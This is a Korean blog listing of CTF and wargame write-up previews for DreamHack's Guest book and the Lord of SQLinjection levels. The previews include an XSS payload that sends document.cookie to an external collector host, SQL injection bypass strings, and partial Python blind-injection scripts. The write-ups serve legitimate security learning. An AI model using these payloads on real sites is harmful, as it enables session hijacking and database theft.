본문 바로가기
728x90
반응형

CTF36

DreamHack - Guest book v0.2 풀이 먼저 페이지 하단에 작성된 태그들을 찾게 되면 문제 푸는 속도가 빨랐을 것이다. config.js의 내용은 아래와 같다. window.CONFIG = { version: "v0.2", main: "/", debug: false, debugMSG: "" } // prevent overwrite Object.freeze(window.CONFIG); 아래의 Object.freeze 메소드으로 인해 window.CONFIG가 overwriting이 안되는 상황이며 if 조건이 false로 나오면서 아래의 "localtion.href = window.CONFIG.main" 라인을 실행하지 못한다. config.js 우회 방법 쪽에 문제점이 하나 있었다. 바로 .js 자원을(config.js) 상대 경로 형태로 읽.. 2023. 9. 7.
DreamHack - Guest book 풀이 방법 1. name과 onfocus 사용 [dreamhack](#' name='foo' onfocus='location.href=`https://bqfyoyg.request.dreamhack.games/cookie=`+document.cookie') 위 텍스트를 URL Encoding 한다. %5Bdreamhack%5D%28%23%27%20name%3D%27foo%27%20onfocus%3D%27location%2Ehref%3D%60https%3A%2F%2Fbqfyoyg%2Erequest%2Edreamhack%2Egames%2Fcookie%3D%60%2Bdocument%2Ecookie%27%29 인코딩 된 값을 content 파라미터 값으로 건네주는데 URL 뒤에 #foo를 포함하는 것이 핵심 http:.. 2023. 9. 7.
DreamHack - CTF에 유용한 도구 모음(드림핵 툴즈) https://tools.dreamhack.games/main dreamhack-tools tools.dreamhack.games 2023. 9. 7.
시스템 보안 - pwntools pwntools는 리눅스 환경에서 실행 프로그램의 익스플로잇을 작성하도록 도움을 주는 파이썬 라이브러리이다. CTF에서도 유용하게 사용될 수 있다. pip 설치 명령어 python3 -m pip install --upgrade pwntools 사용 예제 >>> conn = remote('ftp.ubuntu.com',21) >>> conn.recvline() # doctest: +ELLIPSIS b'220 ...' >>> conn.send(b'USER anonymous\r\n') >>> conn.recvuntil(b' ', drop=True) b'331' >>> conn.recvline() b'Please specify the password.\r\n' >>> conn.close() nc(NetCat), .. 2023. 3. 25.
Lord of SQLinjection - succubus https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php los.rubiya.kr 아이디와 패스워드를 입력을 받고 있으며, (')를 사용하면 안 된다. 정답) ?id=\&pw=OR 1=1;%00 id에 주석처리를 해서 pw의 첫번째 ' 까지 문자열 형태로 만든다. id='\' and pw='OR 1=1;%00 그리고 참이 되는 조건과 뒤의 '를 무시하기 위해 주석처리를 해주면 해결 2021. 12. 8.
Lord of SQLinjection - assassin https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php los.rubiya.kr 패스워드를 입력을 받는데 '를 금지하고 있어서 다른 쿼리문을 넣는 게 힘들다. 문제에서 실행되는 쿼리문을 잘 살펴보면 pw가 =가 아닌 like로 일치하는 조건을 구하고 있다. LIKE는 =와 다르게 특정 문자가 포함이 되어있어도 조건을 참으로 만들 수가 있다. 예를 들어 A로 시작하는 문자를 찾고 싶다면 A% A로 끝나는 문자를 찾고 싶다면 %A A가 포함하는 문자를 찾고 싶다면 %A% 이런 식으로 말이다. 또한 _를.. 2021. 12. 8.
Lord of SQLinjection - bugbear 이번에는 무려 공백과 OR AND를 제외하고, LIKE도 필터링이 된다. 공백은 %0a로 치환하고, LIKE는 IN으로 대체하면 된다. 그리고 인젝션을 하던 중 ORD 함수를 사용하려고 하자 OR 키워드가 포함이 되어있어서 사용이 불가능했다. 그래서 하는 수 없이 ORD를 HEX로 대신 사용하고 여기에 CONV 함수를 더해서 16진수를 10진수로 변경해 주었다. 그것만 수정하면 이전의 자동화 소스랑 비슷하다. import requests parameter = None cookie = {'PHPSESSID':'자신의 쿠키 값을 입력'} result = None solve = "" for i in range(1, 8+1): for ascii in range(48, 112+1): print(ascii) par.. 2021. 12. 7.
Lord of SQLinjection - darkknight 이전까지는 문자열 형태의 id 혹은 pw를 값을 넘겨주었다면, 이번에는 숫자 형태의 no를 넘겨주어야 한다. 즉 no은 '로 둘러싸여서 쿼리를 실행하는 것이 아니기 때문에 굳이 '를 사용해 우회를 할 필요가 없다. 수고를 좀 더 덜어준 셈이다. 마침 필터링을 하는 부분도 '를 금지하고 있다. 그렇기 때문에 문자를 이용해 Blind 인젝션을 시도하는 것은 불가능하다. (문자를 주기 위해서는 '를 포함을 해야 하기 때문에) 그리고 또 제외를 하는 함수들도 있는데 각각 substr과 ascii가 있다. 이는 다 다른 함수로 대체가 가능함. substr -> mid ascii -> ord =도 LIKE로 치환하면 된다. 아래는 파이썬 자동화 도구이다. import requests parameter = None .. 2021. 12. 7.
Lord of SQLinjection - skeleton 이번에는 뭐든 입력해도(심지어 일치하는 패스워드를 넣어도) 쿼리문 맨 뒤에 and 1=0 때문에 무조건 실패가 뜨게 된다. 이런 의미 없는 쿼리문을 보고 딱 봐도 주석을 이용한 문제라는 것이 떠올랐다. (뒤에 있는 and 1=0을 무력화 시켜주기 위해서) 정말 주석 #를 넣어서 문제를 통과하는 것도 가능했다. 하지만 ;%00라는 방법도 존재 했다. 얘는 세미콜론(;)과 NULL(%00)을 이용한 주석처리이다. 2021. 12. 7.
Lord of SQLinjection - vampire 이번에는 troll 문제와 다르게 모든 대문자를 소문자로 변경을 시키며, str_replace함수를 이용해 admin 키워드를 공백으로 변경시키고 있다. admin 키워드를 공백으로 변경시키고 있다. admin을 ""으로 바꾼다. 그러면 adadminmin을 넣으면 어떻게 될까? adadminmin 중간에 admin 지워지고, admin이 남게 되어 쿼리를 잘 실행할 수 있게 된다. 문자열 변경 함수의 취약점은 이미 꽤 유명하기 때문에 저 함수 보자마자 바로 떠올랐다. 2021. 12. 7.
Lord of SQLinjection - troll 이문제에서 admin을 필터링하는 저 부분 "/admin/", id로 admin을 넘겨주면 HeHe가 뜨게 됨 하지만 admin이 아니라 Admin을 보내주면? 클리어가 됨 어째서 admin은 안되고 Admin은 가능한 걸까 우선 "/admin/" 필터링을 우회할 수 있었던 이유는 바로 소문자가 아닌 대문자로 입력을 했기 때문에 가볍게 패스가 가능한 것이며, 만약 대소문자를 무시하고 싶다면 뒤에 i를 붙이면 된다. '/admin/i' 2021. 12. 7.
Lord of SQLinjection - orge 파이썬3 자동화 도구 https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php los.rubiya.kr import requests parameter = None cookie = {'PHPSESSID':'여기다 자신의 쿠키 값을 넣음'} result = None solve = "" for i in range(1, 8+1): for ascii in range(48, 112+1): print(ascii) parameter = "?pw='|| id='admin'%26%26 ascii(substr(pw,{},1))={}%23".format(i.. 2021. 12. 7.
728x90
반응형